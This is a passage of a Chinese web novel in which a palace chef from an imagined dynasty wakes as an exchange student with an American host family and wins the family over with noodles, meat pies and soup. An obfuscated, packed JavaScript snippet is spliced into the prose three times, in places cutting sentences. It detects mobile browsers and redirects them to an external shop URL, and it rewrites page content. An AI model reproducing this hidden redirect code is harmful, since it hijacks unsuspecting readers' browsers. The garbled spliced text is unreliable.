《御厨，被迫在北美当留子[古穿今]》 1. 养生鸡汤 “咚咚咚——” “宁，醒醒，我要上来了。” 唐宁被急促的敲门声吵醒，下意识抱紧了怀里的卡皮巴拉玩偶，睁开眼才反应过来，她正躺在寄宿家庭的阁楼里。 一个月前，唐宁还是皇帝亲封的“大胤第一女御厨”。 在万国来朝之际，用一百零八道菜彰显出泱泱大胤的富足丰饶，使得使臣们心甘情愿拍着肚子高呼“大胤千秋，吾皇万岁”。 皇帝龙颜大悦，大手一挥，恩赦她出宫享福。 却没想到，马车还没走出官道，跳出一伙蒙面土匪。 对方目标十分明确，掀开车帘后，直冲着她怀里的酱菜而来。 唐宁见土匪一双凶恶的眼睛直勾勾盯着坛子，直接就把手里精心腌制的萝卜干塞到了土匪手里。 没有什么能比小命要紧。 然而，土匪还是嘿嘿一笑，给她捅了个对穿。 唐宁胸口一痛，一口老血都来不及喷，便猝不及防地跌入了混沌。 再次醒来时，她正坐在一架铁皮大鸟的肚子里。 意识到自己正距离地面三万英尺高的一瞬间，她脑子“轰”地一声，又晕了过去。 紧接着，一卷千年后的话本子自脑海中浮现。 话本子里，那所谓的恶毒女配跟她同名同姓，是海城豪门唐家流落在乡下的真千金。 她被家人找到并接回家后，假千金危机感爆棚，害怕失去养父母的爱，优渥的生活条件，以及港城豪门公子未婚夫，于是以继承公司前给真千金镀金为由，一张机票将她送到了大洋彼岸。 尽管父母考虑到唐宁人生地不熟语言还不通，给她找了一个寄宿家庭，方便迅速适应当地的生活，她还是避免不了要独自面对肤色歧视，校园霸凌，入室抢劫等一系列的客观问题。 久而久之，整个人的精神状态都出了问题。 在一次别有用心的派对上，她被哄骗着吸食不该吃的东西，被人绑在转盘上进行某种不可言说的多人运动。 自此，不幸染上毒瘾，还得了艾滋，活得人不人鬼不鬼。 她恨透了亲生父母，恨透了假千金，回国后就对他们实施了疯狂的报复，可她到底只是一个乡下小女孩，没钱没权没背景，还因白粉没了脑子。 最后结局可想而知。 第二次醒来，唐宁深吸一口气，先是打量了一眼窗外层层叠叠的云，接着观察四周“奇装异服”的现代人，然后右手搭上左手臂，狠狠地掐了自己一把。 最后，在邻座乘客异样的眼光中，放下袖子，遮住乌青的手臂，坦然接受自己魂穿到两千年后的事实。 不就是肤色歧视，能比阶级划分严明动辄杀头的大胤朝差到哪去？ 不就是校园霸凌，她一个在吃人的皇宫都能生存下来的女官，还治不了一群大屁孩？ 不就是入室抢劫，她倒要看看，是对方枪快，还是她递钱的速度快！ 至于那什么跨年派对，既知是鸿门宴，不去不就行了？ 一切都还来得及。 她绝不允许自己活成话本子里女配的样子。 可她万万没想到，自己最先要面临的问题，竟是如何在顿顿白人饭的艰苦环境中生存下来。 每天不是干巴面包，就是生草拌沙拉，再不然就是速食扔进微波炉里叮一下。 一年到头，听说也就只有圣诞节会烹饪一顿火鸡大餐，还难吃得要命。 其余的日子，只讲究一个方便、快捷、饿不死。 大胤朝灾年时，她都没这么苦过。 寄宿家庭里规矩比较多，房东太太还不允许唐宁使用厨房。 她空有一身厨艺，却无用武之地。 每天冰牛乳和冷面包。 在学校里也没好到哪去，只是多几块外不酥里不嫩的炸鸡和各种口味的面包罢了。 因此导致她肠胃不适，上吐下泻，出现严重的水土不服现象，最后低血糖，晕倒在去市区吃中餐的路上。 幸亏有个好心人叫了辆救护车，把她送到了医院。 经过一系列的治疗，才彻底脱离危险，回到寄宿家庭阁楼的卧室里。 这一觉，睡到第二天快中午。 从昨晚到现在，已经两顿没吃了，唐宁摸了摸空空如也的胃，回忆了一下脑海中寥寥无几的英语单词，对着阁楼的地板门虚弱地喊了声：“上来吧。” 地板上的门被掀开，一个棕色卷发大长腿的女孩端着碗爬了上来，是房东太太的孙女苏珊。 苏珊身高足有一米七二，走进阁楼后，脑袋都快顶到天花板了。 她走到床边，面无表情地把手里的碗递给唐宁。 唐宁伸手接过来，低头看向碗里，瞬间跟一颗漂浮在浑浊汤汁里死不瞑目的鸡头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126887|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四目相对。 唐宁手一抖，使尽全身力气，才克制住没把碗扔出去。 “这是什么？” 她扯出一个笑，嘴里说着简单却不流利的英语。 苏珊看见她又开始虚伪假笑，神色有些不耐烦，叽里呱啦地说了一连串英语单词，语速很快，还有省略词，说完发现唐宁依旧一脸茫然的盯着她，顿时翻了个白眼，然后自顾自拿起床头的翻译器，又简略重复了一遍刚才的话，最后把翻译器和一张纸丢给唐宁就走了。 显然，苏珊很不喜欢唐宁。 唐宁是家里砸钱来美留学的，这就意味着她剥夺了一个贫困家庭真正想要学习的人进入大学的名额，不仅如此，唐宁连一句完整的话都说不明白，何况是听专业课？ 简直就是在浪费教育资源。 苏珊因此很看不惯她，即便两人在同一所学校，偶尔撞见也经常装作不认识。 唐宁无可奈何，但也不以为意。 等苏珊离开后，她小心翼翼地把碗放在一边，拿起那张账单纸看了一眼。 6000美元？？ 什么玩意儿这么贵？！ 仔细一看，哦，原来是她的小命啊。 那没事了。 虽说这个国家看病比在皇宫看御医还贵，但好在捡回一条命，也是值得的。 况且，唐家大小也是个豪门，不至于拿不出这点钱。 缴纳完医院账单后，唐宁身上就只剩十美元了，于是，她给家里打了个越洋电话。 暂时没人接。 这个时间点，可能都睡了吧。 她挂断电话，在微信上给便宜爹留了言，之后才拿起苏珊扔下的翻译器，点击播放。 银色的小匣子里传出一道机械音：“医生说你是中国胃，吃不惯我们的食物，奶奶特意做了碗养生鸡汤给你喝，请你把它喝完，并把碗送回厨房。” 听完之后，唐宁默默转头，又看了一眼碗里的东西。 无意冒犯…… 确定这是鸡汤，不是鸡的尸水？ 外邦人煮鸡汤怎么连血沫都不撇啊！ 唐宁对着这碗汤，实在是难以下咽，犹豫半晌后，还是决定跟房东太太商量一下借用厨房的事。 她一手端碗，一手拿着翻译器下了楼。 刚走到厨房门口，便看见了令她久久都难以忘怀的一幕。 2. 鸡丝汤面 头发花白的贝内特太太站在厨房里，鼻梁上架着一副无框眼镜。 左边镜片已经被白色面粉糊得严严实实，浅褐色的瞳孔只能透过右边镜片，看向流理台上的平板电脑。两只饱含沧桑的手，正在跟一盆非牛顿液体，进行着激烈的搏斗。 视频里的面团逐渐成型，她似乎意识到是水放多了，便加了些面粉进去，揉了几下，又好像太干了，于是开始加水。 如此反复了好几个回合。 只见盆里的非牛顿液体越来越多。 唐宁终于忍不住，走了过去。 房东太太听见动静，抬起头看见唐宁以及她手里一口没喝的鸡汤，皱了皱眉，却没说什么，只严厉地让她上楼休息。 “准备好午饭，我会上去叫你。” 唐宁听不太懂，但也从她挥手赶小鸡似的动作中看出她的意思。 她把鸡汤放在流理台的另一端，走过去看了眼平板，发现里面正播放着中式手擀面的教程。 原来不苟言笑的老太太是在学习如何做面条。 她戴上耳机，打开翻译器的自动翻译功能。 “贝内特太太，我感觉已经好多了，有什么我可以帮你的吗？” “没有，你只需要照顾好自己的身体，不要再给我增加麻烦。”贝内特太太双手盖在和面的盆上，又补充了一句，“现在，请离开我的厨房。” 唐宁看着她仿佛有些不自在的神情，怔了一瞬，随即反应过来。 她把翻译器放在流理台上，挽起袖子，微笑道：“生病的时候，我总是很想念家里的味道，可以让我自己煮碗面吃吗？” 贝内特太太原本是不想同意的，哪有让生病的孩子做饭的寄宿家庭？ 如果被邻居知道了，肯定会骂她刻薄。 可看到唐宁可怜兮兮又一副跃跃欲试的样子，她低下头，看了眼沙拉碗里的不明流体，随即点点头同意了。 “看在上帝的份上，只允许你做这一次。” “谢谢你，内贝特太太。” 成功争取到厨房使用权，唐宁眼睛一亮，一改上一秒的病恹恹，兔子似的窜到水池前洗手。 贝内特太太趁机把非牛顿液体藏在了柜子里。 正要离开厨房，听到唐宁礼貌的询问：“这锅鸡汤我可以用吗？” 贝内特太太转身看见她正指着灶台上的汤桶，莫名有点心虚，“可以。” 但又想到什么，神色一肃：“我需要提醒你，如果你敢弄坏我的厨房，就去跟流浪汉一起睡大街。” 唐宁露齿一笑，乖巧道：“好的。” 贝内特太太凶巴巴地看她一眼，转身离开厨房。 唐宁在厨房里环视一圈，发现老太太应该是特意去了一趟大华超市。 偌大的西式厨房里，居然还有铁锅砂锅木质案板和中式菜刀这种东西，以及各种调味料，例如八角、桂皮、香叶、酱油、黄酒等等，甚至还有香菇木耳干贝等一系列干货。 显然，老太太学做中餐不是一时兴起，而是认真地想给她改善伙食。 一阵陌生的暖意悄然淌过心间，不等她细细回味，肚子立马传来“咕噜噜”的抗议声，唐宁收敛心神，开始拯救锅里那只含恨而死的鸡。 她先将洗了个热水澡的老母鸡从水里捞出来，用热水清洗干净，放在案板上分切出来。 为了让鸡汤清爽不油腻，她将大部分鸡皮和黄色脂肪块剔除，然后切葱段姜片，重新下锅焯水，撇去浮沫后，转小火慢慢煨着。 趁着熬汤的功夫，她想顺便拯救一下贝内特太太的非牛顿液体。 但转了一圈都没找到在哪，随即放弃。 她重新拿了一个大点的沙拉碗出来，充作面盆，开始和面。 唐宁生得窈窕，细长的手臂看起来十分柔弱，揉面时却隐隐浮现出漂亮的肌肉线条。 经过三揉三醒，不消片刻，一个光滑而肥嘟嘟的面团就诞生了。 生怕唐宁把厨房炸了，去而复返的贝内特太太看到沙拉碗里憨态可掬的面团时，脸上闪过惊讶的神色，转而想到这本就是中国的食物，唐宁作为土生土长的华人会做并不奇怪。 她拿了本杂志，慢悠悠地晃到餐桌旁坐下，一边假装看杂志，一边偷偷学习。 唐宁仿若未觉，抓起一把面粉洒在案板上，把揉好的面团分成两个剂子，均匀擀开，折叠在一起，随后拿起那把中式菜刀，发现手感还不错，忍不住在手上挽了个花儿，而后才开始切面条。 内贝特太太浅褐色的瞳孔一震，杂志后的嘴巴已经变成了“O”型。 随着一阵极具节奏的“笃笃”声，新鲜劲道的刀切面已然切好，一根根地跳入滚开的热水中。 等面条熟了，唐宁用筷子捞出过凉水，盛进碗里，然后打开汤桶，舀出一勺鸡汤浇了上去。 在浅琥珀色的清澈汤底上，码上金黄的鸡丝，翠绿的黄瓜丝，橙红的胡萝卜丝，最中心的位置放上一颗圆润饱满的水波蛋。 完美。 她端起碗走到餐桌旁，放在贝内特太太面前。 “贝内特太太，这是我做的鸡丝汤面，您可以品尝一下。” 贝内特太太整个人还在震惊当中没缓过来，下意识要张口拒绝，忽然一股香味扑鼻而来，快到嘴边的“不”，硬生生地变成了“谢谢”。 唐宁回到厨房给自己也盛了一碗，坐在餐桌前，用筷子挑起一小撮面，慢悠悠地吃了起来。 面条裹着鸡丝碰到牙齿的一瞬间，她终于感受到了久违的幸福。 唐宁吃东西的样子太过享受，贝内特太太没再犹豫，用叉子挑起根根分明的面条塞进了嘴里，劲道爽滑的面条轻轻一咬就断开了，小麦粉独有的香气与鸡丝的咸鲜尽数洒向味蕾，清爽而鲜美。 “噢，我的上帝，多么美味的面条啊。”她不禁回头看了一眼厨房里的汤桶，瞪大双眼，“用的是我煮的鸡汤？” 鸡汤给唐宁端过去前，贝内特太太不是没有品尝过。 简直难以下咽。 她以为中餐的鸡汤本来就这样，所以当唐宁端着一口没动的鸡汤下来时，她微微诧异了一下，但也没说什么，并且十分理解。 可分明是同一桶汤，怎么在唐宁的手里，就变成了两种味道？ 唐宁轻轻点头：“是的，我只是稍微加工了一下。” “加工？”贝内特太太一脸不可思议：“用魔法吗？” 唐宁捧着碗，不禁笑了起来，“只是一点小技巧，您想学的话，一会儿我可以教您。” 贝内特太太十分激动，不苟言笑的脸上也露出了罕见的笑容。 她叉起面条一口接着一口，不知不觉已经从吃变成了嗦，发出猫儿似的呼噜呼噜声。 没过一会儿，碗里的面就见底了，黄瓜丝和胡萝卜丝也都无一幸免，最后连汤都被她一勺一勺地送进了肚子里。 吃完一整碗面，老太太额角已经渗出一层细汗，周身却有一种极为熨帖的酣畅感。 贝内特太太情不自禁摸了摸肚子。 自从上了年纪以后，她很多年都没有体会过这么轻松舒服的感觉了，“宁，你的厨艺真好，是谁教你的？” 唐宁笑着说：“是我奶奶。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126888|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你奶奶一定是个很温暖善良的人。”贝内特太太由衷赞叹。 “是的，贝内特太太。” 唐宁脑海中倏尔浮现出原主的记忆。 被唐家找回去前，原主是由奶奶一手养大的。 记忆里的那位奶奶是一位慈祥和蔼的老人，厨艺比不上城里的大厨，但却有一种独属于她的味道。 从小到大，原主吃饭从来不挑食。 即便是高中住校，都会偷偷带许多奶奶做的腌菜，生活过得平静而幸福。 如果半年前奶奶没生病，原主或许就不会为了赚医药费去城里打工，被唐家人找到，也不会被假千金送出国，变成书里那副鬼样子。 可惜，没有如果。 唐宁看着眼前精神矍铄的贝内特太太，诚恳道：“其实，您也是一位很善良的人。” 贝内特太太似是没想到宁会这么说，难为情地把头转向窗外，装作没听见她的话，专注地欣赏起院子里的风景。 刚捡回一条小命，忙活了一中午，现在吃饱了也懒得动。 唐宁索性眯着眼，晒起了太阳。 一老一小仰躺在餐桌旁，颇有种岁月静好的感觉。 天高日暖，风轻云淡。 下午，贝内特太太跟朋友约好开车去林子里采蘑菇，本想邀请唐宁一起去，可惜唐宁身体还没恢复，只能呆在家里休息。 苏珊今年大三，比唐宁大两岁。 平时白天有课上课，没课就会跟朋友开车出去玩。 今天也不例外。 给唐宁送完鸡汤，她就化了一个美美的妆，背包出去了。 苏珊的父母都因交通意外去世了，唯一一个哥哥，是跟她们同校的网球体育生。 哪怕学校离家很近，为了训练方便，他一般都住校。 即便如此，他在学校的时间其实也很少，毕竟作为哈斯顿大学炙手可热的明星球员，他要经常去各地参加NCAA、ITA等系列锦标赛。 故而，唐宁来到这个家后，一次都没见过他。 偌大的屋子里，此刻只剩下唐宁一个人。 到底刚生一场病，加上天气实在不错，她便回到阁楼房间，打算好好地睡一觉，让身体赶快好起来。 再醒来后，天还亮着。 吃完自己做的饭，睡了一顿好觉，她的身体状态明显已经好多了。 内贝特太太还没回来，反正闲着也是无聊，唐宁拿出一本单词本，准备好好学习一下英文，以免下次上课的时候云里雾里盯着黑板，仿佛一个没开智的吗喽。 翻开单词本第一页。 Abandon。 十分钟后，她默默合上了单词本。 并且深情地问候了她并不熟识的清朝老祖宗。 在床上假死半个时辰后，唐宁终于下定决心，找一名老师来教她英语。 否则别说大学四年了，她连第一年的绩点都无法达标，与其被退学送回国，在唐家寄人篱下看人脸色过活，还不如天高皇帝远自由自在的好。 唐宁翻个身子，打开它的现代生活启蒙软件——小某书。 翻了一圈，都是给本地小孩当汉语老师的，没有给留子当英文老师的。 唐宁叹了口气。 只好等明天去学校里找找，看有没有留子想赚外快。 她又刷了一会儿，有点无聊，就退了出来，不小心滑到了相册，看见中午做的鸡丝汤面，一时兴起，上传到了自己的小某书账号上。 怎么说也是来到这个世界后第一次下厨。 值得记录一下。 3. 蘑菇鸡肉馅饼 临近黄昏。 贝内特太太满载而归。 一进门就迫不及待地叫唐宁下楼，参观她千辛万苦摘回来的蘑菇。 她身后还跟着一位妆容精致的金发太太，是贝内特太太的朋友——威尔逊太太。 威尔逊太太听说贝内特太太家的华人学生是个厨师，做出来的面条美味得令上帝都会垂涎。 对此，她表示十分怀疑。 唐宁刚下楼，就被威尔逊太太以一种十分锐利的眼神打量着。 瘦瘦小小的，怎么看都不像是个厨师。 威尔逊太太并不是一个种族歧视者，单纯是平等地厌恶所有寄宿留学生。 在她看来，成年后还选择寄宿家庭的留学生，大多性子软弱怯懦，说话的声音像是蚊子在叫，一点也不讨人喜欢，也有个别性格开朗的，通常打着十分邪恶的鬼主意。 比如专门找有独居老人的寄宿家庭，给予他们孩子一般的关爱，以此来骗取对方的退休金，甚至是房子的继承权。 当一向持重的好友满脸兴奋告诉自己，那碗面条有多么多么好吃时，她第一反应是好友被留学生骗了，食物里一定被添加了非法药品，才能让她近乎痴迷地回味。 所以她一定亲自来拆穿这个不怀好意的留学生的阴谋！ 贝内特太太简单向两人做了介绍。 唐宁礼貌地打过招呼后，对威尔逊太太的眼神也没放在心上。 比起人，她更好奇篮子里的蘑菇。 北美初秋的蘑菇种类很多。 大多看起来跟她所熟知的蘑菰，似乎并没什么太大区别。 她捡起一个白白胖胖的蘑菇凑近鼻尖，轻轻一闻，独属于蘑菇的鲜香顷时钻入鼻腔。 不难想象，将这些做成吃的，会有多鲜美。 见唐宁眼睛里的光一亮一亮的，跟上午一样，贝内特太太看了眼旁边的威尔逊太太，假装不经意问道：“宁，这些蘑菇可以做出比中午的面条还要美味的食物吗？” “当然。”唐宁不会放过任何可以做饭的机会。 “如果您不介意，晚饭可以交给我来做。” 内贝特太太的唇角当即扬了起来，忽然又想起唐宁的状况。 “不不不，你是病人，需要休息，改天再做吧。” 她只是想让威尔逊太太相信唐宁的厨艺很好，但不会为了争一口气，虐待生病的孩子。 唐宁笑道：“做饭对我而言是一种享受，我并不觉得累，如果您能允许我做晚饭，我一定会好得更快。” “真的吗？” 贝内特太太端详着唐宁的脸，见她面色认真，不似作假，整个看起来精神饱满，几乎跟生病前没什么两样。 她看了看拼命给她使眼色的威尔逊太太，又想起中午那碗美味的鸡丝面，最终同意下来。 “我可以帮你把这些蘑菇清洗干净。” “好的，内贝特太太。” 有了之前化腐朽为神奇的鸡汤铺垫，唐宁还顺利地让贝内特太太拿出了那盆被藏起来的非牛顿液体。 经过一下午的静置，面粉与水已经有了分层，仿佛海边浅滩下的白色淤泥。 见状，威尔逊太太笑道：“莫妮卡，别告诉我，这就是你一大早让我陪你开车去大华超市，忙活出来的杰作。” “……你说的没错，凯瑟琳，其实我认为它应该呆在垃圾桶里。”内贝特太太拧着稀疏的眉毛，有些懊恼自己的失败。 唐宁拦住她：“不，这些面看起来很不错，它会为我们带来意想不到的惊喜。” 内贝特太太对唐宁充满了信心，把面盆交给了唐宁。 威尔逊太太则面无表情地坐在餐桌旁，一动不动地盯着她，防止她在食物里做手脚。 唐宁并不在意威尔逊太太不友好的态度，毕竟买回这些厨具和调料，也有她的功劳。 篮子里没有香蕈，她挑选出两种味道相近的菌子，请内贝特太太帮她清洗干净，然后从冰箱里取出两只鸡腿，清洗干净切成丁，将抽屉里的调料一一仔细闻过后，才开始下料腌制鸡腿。 接着，再去拯救岛台上的非牛顿液体。 倒掉表层分离出来的水，底部只剩下湿黏的面糊。 她在流理台上撒上一层干粉，将面糊倒上去，伸出白净的一双手，像“揣”一样，从外向内反复折叠、按压面团。 每次折叠按压后，面团表面会变湿粘，而后少量多次地撒入干粉，继续揣。 直到面团变成一个整体，既不粘手，且质地柔软。 这样的面团特性已经发生改变，不适合做面条饺子皮之类的劲道食物，但却是做馅饼的最好状态。 唐宁满意地笑了笑，继续将面团分为大小一致的剂子，再将切碎的蘑菇炒出汁，混合进鸡肉馅，包进剂子里。最后放在桌面上，轻轻擀成大小均匀的面饼。 贝内特太太朝威尔逊太太看去，见她单薄的嘴唇变成跟她一模一样的“O”型，得意地笑道：“现在相信了吧？我就说宁是一个拥有魔法的厨师。” 威尔逊太太回过神，依旧嘴硬：“不过是把泥巴变成面团而已，有什么值得大惊小怪的。” “滋啦——” 随着一声面饼接触平地锅的声音，两人同时闭上了嘴巴。 趁着烙饼的功夫，唐宁迅速将番茄切块，油锅里爆香葱蒜，倒入番茄炒出汤汁，加水煮开再飘入打散的鸡蛋，轻轻推开，最后再淋入些许芝麻油，撒上翠绿的葱花。 酸甜可口的番茄蛋汤就做好了。 凡是带“番”字的蔬果，几乎都是舶来品。 大胤朝更是不曾出现过番茄。 这还是唐宁来到这个世界，学会使用手机电脑后，在小某书上学的一道汤。 它颜色丰富，看起来十分可口，关键是简单。 尽管她是第一次做，但至少闻起来还是不错的，用来搭配馅饼吃再好不过。 于此同时，锅里的饼也烙得差不多了。 眼看外面的天都黑了，唐宁担心漫山遍野跑了一下午的老太太们饿肚子，先盛出两碗汤，两个鸡肉馅饼，端出去放在餐桌上。 “你们趁热先吃，凉了就不好吃了。” 说完，她回到厨房，把剩下的馅饼烙出来。 番茄的热气裹着浓浓的蛋香，瞬间席卷整个餐厅，瓷碗里的汤汁红亮浓郁，却不粘稠。 一旁的盘子里，烙好的鸡肉馅饼如窗外悬挂在夜空中的圆月，黄灿灿的，伴有一阵小麦粉独有的香气。 贝内特太太没跟她客气，当即拿起勺子喝了一口汤，十分享受地眯了眯眼，又迫不及待地拿起馅饼吃了起来，不停地发出“amazing”的感叹声。 威尔逊太太被她粗鲁的吃相惊呆了，但闻到这扑鼻的香气，犹豫一瞬，也学着她的样子，先喝了一口汤。 浓郁的汤汁滚过舌尖，番茄特有的胃酸在口腔中荡开，留下一丝若有若无的清甜，漂浮的蛋花像云一样柔软，轻轻一抿就在齿间化开，咕噜噜地流入胃里，顿时缓解了她采了一下午蘑菇的疲惫，重新燃起了对食物的渴望。 她不可思议地睁大双眼。 只一瞬，那句“amazing”也要呼之欲出。 幸而她忍住了。 “不过是一碗汤而已，只要食材足够新鲜，谁都能做得出来。” “凯瑟琳，你是我见过嘴巴最硬的女人。” “莫妮卡，是你没有见识，你看看这个馅饼，其实就是带馅的面包而已。” 贝内特太太不语，好整以暇地看着她。 威尔逊太太打扮精致，吃饭也十分讲究，她没有用手拿着馅饼直接咬，而是用刀叉切开馅饼。 金黄酥脆的饼皮在刀齿的压力下霎时崩碎，带着油润的麦香，当横截面露出的一瞬间，汁水四溢，饱满的馅料在蒸腾的热气中，散发出令人难以抗拒的鲜甜气息。 她顿了一下，连皮带陷放进嘴里，还未咀嚼几下，就已经彻底沦陷了。 酥皮的脆，馅料的润，鸡肉的实，蘑菇的滑，争先恐后地在口腔中汇聚，化为一种层次分明却又极为融合的风味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126889|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >烫、鲜、醇、香，瞬间充盈每一个味蕾角落。 她难以置信地看向盘子里的馅饼，经过炒制的蘑菇汁水依旧丰富，正在不停地从鸡肉里渗透出来。 再这样下去，汁水就要流光了！ 甚至还会浸湿酥脆的饼皮。 顾不上内贝特太太揶揄的目光，威尔逊太太放下刀叉，直接用手拿起馅饼，大口大口地咬了起来。 “这才对嘛，凯瑟琳。” 两人顾不上说话，一心沉浸在美味馅饼和开胃浓汤里。 以免只吃鸡肉馅饼会觉得腻，唐宁还特意多做了几个甜口的芝麻糖饼。 她端着自己的晚餐还有一大盘芝麻糖饼，走到餐桌旁，见两人面前的碗和碟子都一干二净，她们也正摸着肚子坐在餐椅上，满脸都写着意犹未尽。 唐宁笑道：“我还做了一种甜口的馅饼，可以作为饭后甜品。” 说完，她坐下来跟她们一起。 这回不用贝内特太太说，威尔逊太太就已经伸手捏起一块芝麻糖饼，毫不犹豫地塞进嘴巴里。 贝内特太太：…… 甜口的芝麻糖饼表皮也带着酥壳，但不同于咸香的肉饼，它没有那么油润。 一口咬下去，外层有焙烤后的焦香，内层却柔软有较劲，更为奇妙的是，中间的白糖和芝麻碎混合的内馅，经过高温熔化，形成了半流动的糖浆，入口温润甘甜，通过牙齿的研磨，芝麻也释放出特有的油脂香气。 两者互为交织，甜而不腻。 “我的上帝啊，我认为鸡肉馅饼已经很美味了，没想到这个看起来平平无奇的小甜饼，竟然比鸡肉馅饼还要美味！” 威尔逊太太嗜甜如命。 尽管这个饼的味道并不像美式甜点那样浓烈，但有种独一无二，让人停不下来的魔力。 她一口气吃了三个烙饼。 吃完才后知后觉撑得要命，看向唐宁的眼神十分复杂。 “你真的没有在里面添加非法药物吗？！” “凯瑟琳！你太没有礼貌了！” 不等唐宁说话，贝内特太太先生气了。 威尔逊太太意识到自己的无礼，旋即想到那些有毒的东西，是因为损害大脑神经，才令人上瘾，它们与味觉无关。 而这些食物，无论从嗅觉、味觉还是精神上来说，都是极致的享受。 她认真地向唐宁和贝内特太太道歉。 “抱歉，宁，莫妮卡是我最好的朋友，我实在是太担心她了……但我现在相信，你的厨艺是真的很棒，我真诚地向你道歉。” “宁，对不起。” 由于语言障碍，唐宁在翻译器自动翻译完两人的对话后，才反应过来发生了什么。 她温和地朝威尔逊太太道：“您的担心也是人之常情，我接受您的道歉，不必放在心上。” 见唐宁落落大方，心胸还如此宽阔，威尔逊太太也放下了对寄宿留学生的成见。 一顿饭吃得还算愉快。 饭后，贝内特太太主动承担了清理厨房的工作，唐宁则把剩下的蘑菇做成酱，用玻璃罐密封保存起来，以后不管是煮面还是炒饭，都可以来上一勺，肯定会鲜掉眉毛。 威尔逊太太坐在沙发上休息，目光仍紧紧黏在唐宁身上。 回到沙发准备歇一下的唐宁：…… “您有什么话要跟我说吗？威尔逊太太。” 威尔逊太太看了眼在厨房忙碌的贝内特太太，而后凑近唐宁，无比认真道：“我住在这条街的最东侧，离你的学校距离更近，我家另外还有一辆汽车，可以让你随时开出去玩。这样的话，你会考虑离开莫妮卡，寄宿在我家吗？” 唐宁听着耳机里的翻译，面露茫然。 一时分不清威尔逊太太是在开玩笑，还是认真的。 见唐宁犹豫，威尔逊太太以为她不满意自己开出的条件，于是考虑了一下，仿佛下定决心般，一脸正色对她道：“我在纽约市中心还有一套公寓，如果你愿意寄宿在我家，就可以拥有它的继承权。” 唐宁：？ 4. 葱油拌面 威尔逊太太被贝内特太太轰出了家门。 车子开出院门前，威尔逊太太还在疯狂给唐宁眨眼，暗示她一定要仔细考虑一下。 芝麻糖饼换一套市中心公寓？ 怎么想都不过是一句玩笑话。 就算是真的，以唐宁的行事风格，也绝不会接受这种价值不匹配的馈赠。 倒不是会觉得良心不安。 而是免费的午餐往往需要付出更大的代价。 这一点，她早在大胤皇宫里时，就已经深切地体会过了。 见贝内特太太拿着扫把守在门口，一副生怕她今晚就要跑路的样子，唐宁无奈地笑了笑：“您放心，我住在这里很适应，绝对不会搬走的。” 贝内特太太脸色一红，扔掉扫把，拉着唐宁进了屋子。 虽说唐宁不会走，但不代表她没有条件，现在时机成熟，正好可以跟贝内特太太商量一下。 “贝内特太太，以后我在家的时候，可以像今天一样使用厨房吗？我可以付额外的水电和食材的费用。” 贝内特太太瞪大眼睛：“你在胡言乱语什么！” 唐宁见她不乐意，抿了下唇，还是想再争取一下：“您也知道，我实在不习惯这里的食物，为免再生病给您添麻烦……” “不不不，宁。” 贝内特太太打断她，“我的意思是，你可以随意使用厨房，不必付出额外的费用，并且冰箱里的食材你都可以随意制作。如果需要补充什么，可以直接告诉我，我会让苏珊开车去大华超市帮你买回来。” 唐宁被贝内特太太一百八十度急转弯的态度晃得一怔。 “这，不好吧。” 贝内特太太摇了摇头，神色殷切道：“我只有一个要求，就是你做的食物，也要分给我和苏珊每人一份，你觉得这样可以吗？” 说这话时，她早就将一个月前严令唐宁不许进厨房的事，抛到了九霄云外。 俨然有种为了吃到唐宁做的菜，恨不得把大华超市搬回家里的劲头。 唐宁愣了一瞬，倏地笑了起来，露出两个甜甜的酒窝。 “当然可以。” 没有什么是比厨艺得到认可，更能让厨师开心的事了。 唐宁的心情格外高兴，跟贝内特太太互道晚安后，她回到阁楼，玩了会儿手机，瞧见上条小某书有两个人给她点赞，还有一个姐妹在评论里夸她做的鸡丝面看起来很好吃。 她回复了一个开心的表情，而后上传了晚上做的鸡肉蘑菇馅饼、芝麻糖饼和番茄蛋汤。 兴许是数据推送的原因，首页出现了越来越多的美食视频。 唐宁是御厨出身，做的大多都是宫廷菜，在贝内特太太家实在没有发挥的空间，于是对这些看起来十分新奇的现代菜式愈发感兴趣。 或许是因为都是中餐，万变不离其宗，亦或是她天赋过人。 每一道菜，她只要看过，基本就能学个七七八八，剩下的就是对菜式的个人理解了。 她将觉得不合理的地方稍作改良，并且记录下来，变成博采众长的方子，等以后一个一个试着做出来。 光是想想，手就开始有点蠢蠢欲动。 不能再看了，已经快十点了，明天还得去学校听天书。 临睡前，唐宁又看了眼微信，便宜爹还没有回消息。 或许是还没看见？ 这个时间，唐家人应该早就起床了才对。 迟疑片刻，她拨通了唐延昌的电话，没人接，再拨通吴美兰女士的电话，依旧没人接。 唐宁莫名有种不祥的预感。 她直接从床上蹦了起来，差点撞到头。 最后，拨通唐琳的电话…… “对不起，您所拨打的电话是空号。” 唐宁：…… 什么意思？ 是唐琳被销号了，还是把她拉黑了？ “叮——叮——” 微信提示音响起，唐宁点开消息。 